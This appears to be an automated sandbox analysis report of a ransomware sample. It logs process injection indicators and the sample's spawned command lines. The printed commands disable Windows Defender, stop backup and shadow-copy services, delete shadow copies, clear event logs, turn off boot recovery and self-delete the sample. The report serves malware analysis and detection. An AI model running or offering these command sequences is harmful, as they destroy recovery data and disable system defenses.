Token: 35 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2672 wrote to memory of 1188 N/A C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe C:\Windows\SYSTEM32\net.exe
PID 2672 wrote to memory of 1188 N/A C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe C:\Windows\SYSTEM32\net.exe
PID 1188 wrote to memory of 696 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 1188 wrote to memory of 696 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 2672 wrote to memory of 892 N/A C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe C:\Windows\SYSTEM32\net.exe
PID 2672 wrote to memory of 892 N/A C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe C:\Windows\SYSTEM32\net.exe
PID 892 wrote to memory of 1352 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 892 wrote to memory of 1352 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 2672 wrote to memory of 2220 N/A C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe C:\Windows\SYSTEM32\net.exe
PID 2672 wrote to memory of 2220 N/A C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe C:\Windows\SYSTEM32\net.exe
PID 2220 wrote to memory of 492 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 2220 wrote to memory of 492 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 2672 wrote to memory of 496 N/A C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe C:\Windows\SYSTEM32\net.exe
PID 2672 wrote to memory of 496 N/A C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe C:\Windows\SYSTEM32\net.exe
PID 496 wrote to memory of 3032 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 496 wrote to memory of 3032 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 2672 wrote to memory of 3296 N/A C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe C:\Windows\SYSTEM32\net.exe
PID 2672 wrote to memory of 3296 N/A C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe C:\Windows\SYSTEM32\net.exe
PID 3296 wrote to memory of 3276 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 3296 wrote to memory of 3276 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 2672 wrote to memory of 1512 N/A C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe C:\Windows\SYSTEM32\net.exe
PID 2672 wrote to memory of 1512 N/A C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe C:\Windows\SYSTEM32\net.exe
PID 1512 wrote to memory of 2744 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 1512 wrote to memory of 2744 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 2672 wrote to memory of 3336 N/A C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe C:\Windows\SYSTEM32\net.exe
PID 2672 wrote to memory of 3336 N/A C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe C:\Windows\SYSTEM32\net.exe
PID 3336 wrote to memory of 340 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 3336 wrote to memory of 340 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 2672 wrote to memory of 1196 N/A C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe C:\Windows\SYSTEM32\net.exe
PID 2672 wrote to memory of 1196 N/A C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe C:\Windows\SYSTEM32\net.exe
PID 1196 wrote to memory of 1256 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 1196 wrote to memory of 1256 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 2672 wrote to memory of 1500 N/A C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe C:\Windows\SYSTEM32\net.exe
PID 2672 wrote to memory of 1500 N/A C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe C:\Windows\SYSTEM32\net.exe
PID 1500 wrote to memory of 1016 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 1500 wrote to memory of 1016 N/A C:\Windows\SYSTEM32\net.exe C:\Windows\system32\net1.exe
PID 2672 wrote to memory of 2940 N/A C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe C:\Windows\SYSTEM32\sc.exe
PID 2672 wrote to memory of 2940 N/A C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe C:\Windows\SYSTEM32\sc.exe
PID 2672 wrote to memory of 2876 N/A C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe C:\Windows\SYSTEM32\sc.exe
PID 2672 wrote to memory of 2876 N/A C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe C:\Windows\SYSTEM32\sc.exe
PID 2672 wrote to memory of 1200 N/A C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe C:\Windows\SYSTEM32\sc.exe
PID 2672 wrote to memory of 1200 N/A C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe C:\Windows\SYSTEM32\sc.exe
PID 2672 wrote to memory of 1420 N/A C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe C:\Windows\SYSTEM32\sc.exe
PID 2672 wrote to memory of 1420 N/A C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe C:\Windows\SYSTEM32\sc.exe
PID 2672 wrote to memory of 2364 N/A C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe C:\Windows\SYSTEM32\sc.exe
PID 2672 wrote to memory of 2364 N/A C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe C:\Windows\SYSTEM32\sc.exe
PID 2672 wrote to memory of 4036 N/A C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe C:\Windows\SYSTEM32\sc.exe
PID 2672 wrote to memory of 4036 N/A C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe C:\Windows\SYSTEM32\sc.exe
PID 2672 wrote to memory of 1948 N/A C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe C:\Windows\SYSTEM32\sc.exe
PID 2672 wrote to memory of 1948 N/A C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe C:\Windows\SYSTEM32\sc.exe
PID 2672 wrote to memory of 2172 N/A C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe C:\Windows\SYSTEM32\sc.exe
PID 2672 wrote to memory of 2172 N/A C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe C:\Windows\SYSTEM32\sc.exe
PID 2672 wrote to memory of 2696 N/A C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe C:\Windows\SYSTEM32\sc.exe
PID 2672 wrote to memory of 2696 N/A C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe C:\Windows\SYSTEM32\sc.exe
PID 2672 wrote to memory of 2804 N/A C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe C:\Windows\SYSTEM32\reg.exe
PID 2672 wrote to memory of 2804 N/A C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe C:\Windows\SYSTEM32\reg.exe
PID 2672 wrote to memory of 3124 N/A C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe C:\Windows\SYSTEM32\reg.exe
PID 2672 wrote to memory of 3124 N/A C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe C:\Windows\SYSTEM32\reg.exe
PID 2672 wrote to memory of 2096 N/A C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe C:\Windows\SYSTEM32\reg.exe
PID 2672 wrote to memory of 2096 N/A C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe C:\Windows\SYSTEM32\reg.exe
PID 2672 wrote to memory of 2664 N/A C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe C:\Windows\SYSTEM32\reg.exe
PID 2672 wrote to memory of 2664 N/A C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe C:\Windows\SYSTEM32\reg.exe
PID 2672 wrote to memory of 1388 N/A C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe C:\Windows\SYSTEM32\reg.exe
PID 2672 wrote to memory of 1388 N/A C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe C:\Windows\SYSTEM32\reg.exe

Processes

C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe

"C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe"

C:\Windows\SYSTEM32\net.exe

net.exe stop "SamSs" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "SamSs" /y

C:\Windows\SYSTEM32\net.exe

net.exe stop "SDRSVC" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "SDRSVC" /y

C:\Windows\SYSTEM32\net.exe

net.exe stop "SstpSvc" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "SstpSvc" /y

C:\Windows\SYSTEM32\net.exe

net.exe stop "UI0Detect" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "UI0Detect" /y

C:\Windows\SYSTEM32\net.exe

net.exe stop "vmicvss" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "vmicvss" /y

C:\Windows\SYSTEM32\net.exe

net.exe stop "VSS" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "VSS" /y

C:\Windows\SYSTEM32\net.exe

net.exe stop "wbengine" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "wbengine" /y

C:\Windows\SYSTEM32\net.exe

net.exe stop "WebClient" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "WebClient" /y

C:\Windows\SYSTEM32\net.exe

net.exe stop "UnistoreSvc_13728" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "UnistoreSvc_13728" /y

C:\Windows\SYSTEM32\sc.exe

sc.exe config "SamSs" start= disabled

C:\Windows\SYSTEM32\sc.exe

sc.exe config "SDRSVC" start= disabled

C:\Windows\SYSTEM32\sc.exe

sc.exe config "SstpSvc" start= disabled

C:\Windows\SYSTEM32\sc.exe

sc.exe config "UI0Detect" start= disabled

C:\Windows\SYSTEM32\sc.exe

sc.exe config "vmicvss" start= disabled

C:\Windows\SYSTEM32\sc.exe

sc.exe config "VSS" start= disabled

C:\Windows\SYSTEM32\sc.exe

sc.exe config "wbengine" start= disabled

C:\Windows\SYSTEM32\sc.exe

sc.exe config "WebClient" start= disabled

C:\Windows\SYSTEM32\sc.exe

sc.exe config "UnistoreSvc_13728" start= disabled

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f

C:\Windows\SYSTEM32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable

C:\Windows\SYSTEM32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable

C:\Windows\SYSTEM32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable

C:\Windows\SYSTEM32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable

C:\Windows\SYSTEM32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable

C:\Windows\SYSTEM32\reg.exe

reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\SYSTEM32\vssadmin.exe

vssadmin.exe delete shadows /all /quiet

C:\Windows\SYSTEM32\wevtutil.exe

wevtutil.exe cl system

C:\Windows\SYSTEM32\wevtutil.exe

wevtutil.exe cl security

C:\Windows\SYSTEM32\wevtutil.exe

wevtutil.exe cl application

C:\Windows\System32\Wbem\wmic.exe

wmic.exe SHADOWCOPY /nointeractive

C:\Windows\System32\Wbem\wmic.exe

wmic.exe shadowcopy delete

C:\Windows\SYSTEM32\bcdedit.exe

bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures

C:\Windows\SYSTEM32\bcdedit.exe

bcdedit.exe /set {default} recoveryenabled no

C:\Windows\SYSTEM32\cmd.exe

cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

C:\Program Files\Windows Defender\MpCmdRun.exe

"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

C:\Windows\SYSTEM32\cmd.exe

cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Set-MpPreference -DisableIOAVProtection $true

C:\Windows\SYSTEM32\cmd.exe

cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Set-MpPreference -DisableRealtimeMonitoring $true

C:\Windows\SYSTEM32\notepad.exe

notepad.exe C:\LdBi_HOW_TO_DECRYPT.txt

C:\Windows\SYSTEM32\cmd.exe

cmd.exe /D /C ping.exe -n 5 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\05ae137c49d99b41296d91667f040082fc33d6f28acbccdc28cfbedf59f6f75b.bin.sample.exe"

C:\Windows\system32\PING.EXE

ping.exe -n 5 127.0.0.1

Network

Country Destination Domain Proto
US 8.8.8.8:53 time.windows.com udp
NL 40.119.148.38:123 time.windows.com udp

Files

memory/1188-115-0x0000000000000000-mapping.dmp

memory/696-116-0x0000000000000000-mapping.dmp

memory/892-117-0x0000000000000000-mapping.dmp

memory/1352-118-0x0000000000000000-mapping.dmp

memory/2220-119-0x0000000000000000-mapping.dmp

memory/492-120-0x0000000000000000-mapping.dmp

memory/496-121-0x0000000000000000-mapping.dmp

memory/3032-122-0x0000000000000000-mapping.dmp

memory/3296-123-0x0000000000000000-mapping.dmp

memory/3276-124-0x0000000000000000-mapping.dmp

memory/1512-125-0x0000000000000000-mapping.dmp

memory/2744-126-0x0000000000000000-mapping.dmp

memory/3336-127-0x0000000000000000-mapping.dmp

memory/340-128-0x0000000000000000-mapping.dmp

memory/1196-129-0x0000000000000000-mapping.dmp

memory/1256-130-0x0000000000000000-mapping.dmp

memory/1500-131-0x0000000000000000-mapping.dmp

memory/1016-132-0x0000000000000000-mapping.dmp

memory/2940-133-0x0000000000000000-mapping.dmp

memory/2876-134-0x0000000000000000-mapping.dmp

memory/1200-135-0x0000000000000000-mapping.dmp

memory/1420-136-0x0000000000000000-mapping.dmp

memory/2364-137-0x0000000000000000-mapping.dmp

memory/4036-138-0x0000000000000000-mapping.dmp

memory/1948-139-0x0000000000000000-mapping.dmp

memory/2172-140-0x0000000000000000-mapping.dmp

memory/2696-141-0x0000000000000000-mapping.dmp

memory/2804-142-0x0000000000000000-mapping.dmp

memory/3124-143-0x0000000000000000-mapping.dmp

memory/2096-144-0x0000000000000000-mapping.dmp

memory/2664-145-0x0000000000000000-mapping.dmp

memory/1388-146-0x0000000000000000-mapping.dmp

memory/4020-147-0x0000000000000000-mapping.dmp

memory/3644-148-0x0000000000000000-mapping.dmp

memory/2024-149-0x0000000000000000-mapping.dmp

memory/3048-150-0x0000000000000000-mapping.dmp

memory/2724-151-0x0000000000000000-mapping.dmp

memory/1044-152-0x0000000000000000-mapping.dmp

memory/1208-153-0x0000000000000000-mapping.dmp

memory/1212-154-0x0000000000000000-mapping.dmp

memory/3156-155-0x0000000000000000-mapping.dmp

memory/3036-156-0x0000000000000000-mapping.dmp

memory/3940-157-0x0000000000000000-mapping.dmp

memory/3748-158-0x0000000000000000-mapping.dmp

memory/2740-159-0x0000000000000000-mapping.dmp

memory/1988-160-0x0000000000000000-mapping.dmp

memory/1676-161-0x0000000000000000-mapping.dmp

memory/4060-162-0x0000000000000000-mapping.dmp

memory/2732-163-0x0000000000000000-mapping.dmp

memory/1424-164-0x0000000000000000-mapping.dmp

memory/3516-165-0x0000000000000000-mapping.dmp

memory/1384-166-0x0000000000000000-mapping.dmp

memory/1808-167-0x0000000000000000-mapping.dmp

memory/1976-168-0x0000000000000000-mapping.dmp

memory/1844-169-0x0000000000000000-mapping.dmp

memory/3064-170-0x0000000000000000-mapping.dmp

memory/836-171-0x0000000000000000-mapping.dmp

memory/1040-172-0x0000000000000000-mapping.dmp

memory/3300-173-0x0000000000000000-mapping.dmp

memory/3744-174-0x0000000000000000-mapping.dmp

memory/2340-175-0x0000000000000000-mapping.dmp

memory/3852-176-0x0000000000000000-mapping.dmp

memory/644-177-0x0000000000000000-mapping.dmp

memory/864-178-0x0000000000000000-mapping.dmp

memory/2288-180-0x0000026F14540000-0x0000026F14542000-memory.dmp

memory/2288-179-0x0000026F14540000-0x0000026F14542000-memory.dmp

memory/2288-181-0x0000026F14540000-0x0000026F14542000-memory.dmp

memory/2288-182-0x0000026F14540000-0x0000026F14542000-memory.dmp

memory/2288-183-0x0000026F14540000-0x0000026F14542000-memory.dmp

memory/2288-184-0x0000026F30440000-0x0000026F30462000-memory.dmp

memory/2288-185-0x0000026F14540000-0x0000026F14542000-memory.dmp

memory/2288-186-0x0000026F14540000-0x0000026F14542000-memory.dmp

memory/2288-187-0x0000026F14540000-0x0000026F14542000-memory.dmp

memory/2288-188-0x0000026F14540000-0x0000026F14542000-memory.dmp

memory/2288-189-0x0000026F305F0000-0x0000026F30666000-memory.dmp

memory/2288-190-0x0000026F15DE0000-0x0000026F15DE2000-memory.dmp

memory/2288-191-0x0000026F15DE3000-0x0000026F15DE5000-memory.dmp

memory/2288-192-0x0000026F14540000-0x0000026F14542000-memory.dmp

memory/2288-216-0x0000026F15DE6000-0x0000026F15DE8000-memory.dmp

memory/2288-217-0x0000026F14540000-0x0000026F14542000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 8592ba100a78835a6b94d5949e13dfc1
SHA1 63e901200ab9a57c7dd4c078d7f75dcd3b357020
SHA256 fdd7d9def6f9f0c0f2e60dbc8a2d1999071cd7d3095e9e087bb1cda7a614ac3c
SHA512 87f98e6cb61b2a2a7d65710c4d33881d89715eb7a06e00d492259f35c3902498baabffc5886be0ec5a14312ad4c262e3fc40cd3a5cb91701af0fb229726b88c3

memory/4056-220-0x000001EE4E1B0000-0x000001EE4E1B2000-memory.dmp

memory/4056-219-0x000001EE4E1B0000-0x000001EE4E1B2000-memory.dmp

memory/4056-221-0x000001EE4E1B0000-0x000001EE4E1B2000-memory.dmp

memory/4056-222-0x000001EE4E1B0000-0x000001EE4E1B2000-memory.dmp

memory/4056-223-0x000001EE4E1B0000-0x000001EE4E1B2000-memory.dmp

memory/4056-224-0x000001EE6A170000-0x000001EE6A192000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 c7d44c2c3add39adac76536497f7a89f
SHA1 e48551cefc96f73e6fa80d2e4559298e7de16882
SHA256 8108c55432d74c7adb351ea1404c5ac5666eb853e315a4cf1f430286c328a784
SHA512 a8c06e11c8585ac8d84b340fe1bf2d6608663084976ebf0a42bfa03d030c136029abf2b6d887665a4c533165d3fe16db1246e11522c35d94155dd65290032f0e

memory/4056-226-0x000001EE4E1B0000-0x000001EE4E1B2000-memory.dmp

memory/4056-227-0x000001EE4E1B0000-0x000001EE4E1B2000-memory.dmp

memory/4056-228-0x000001EE4E1B0000-0x000001EE4E1B2000-memory.dmp

memory/4056-229-0x000001EE4E1B0000-0x000001EE4E1B2000-memory.dmp

memory/4056-230-0x000001EE6A220000-0x000001EE6A296000-memory.dmp

memory/4056-231-0x000001EE4E1B0000-0x000001EE4E1B2000-memory.dmp

memory/2288-251-0x0000026F15DE8000-0x0000026F15DE9000-memory.dmp

memory/4056-252-0x000001EE4E1A0000-0x000001EE4E296000-memory.dmp

memory/4056-253-0x000001EE4E1A0000-0x000001EE4E296000-memory.dmp

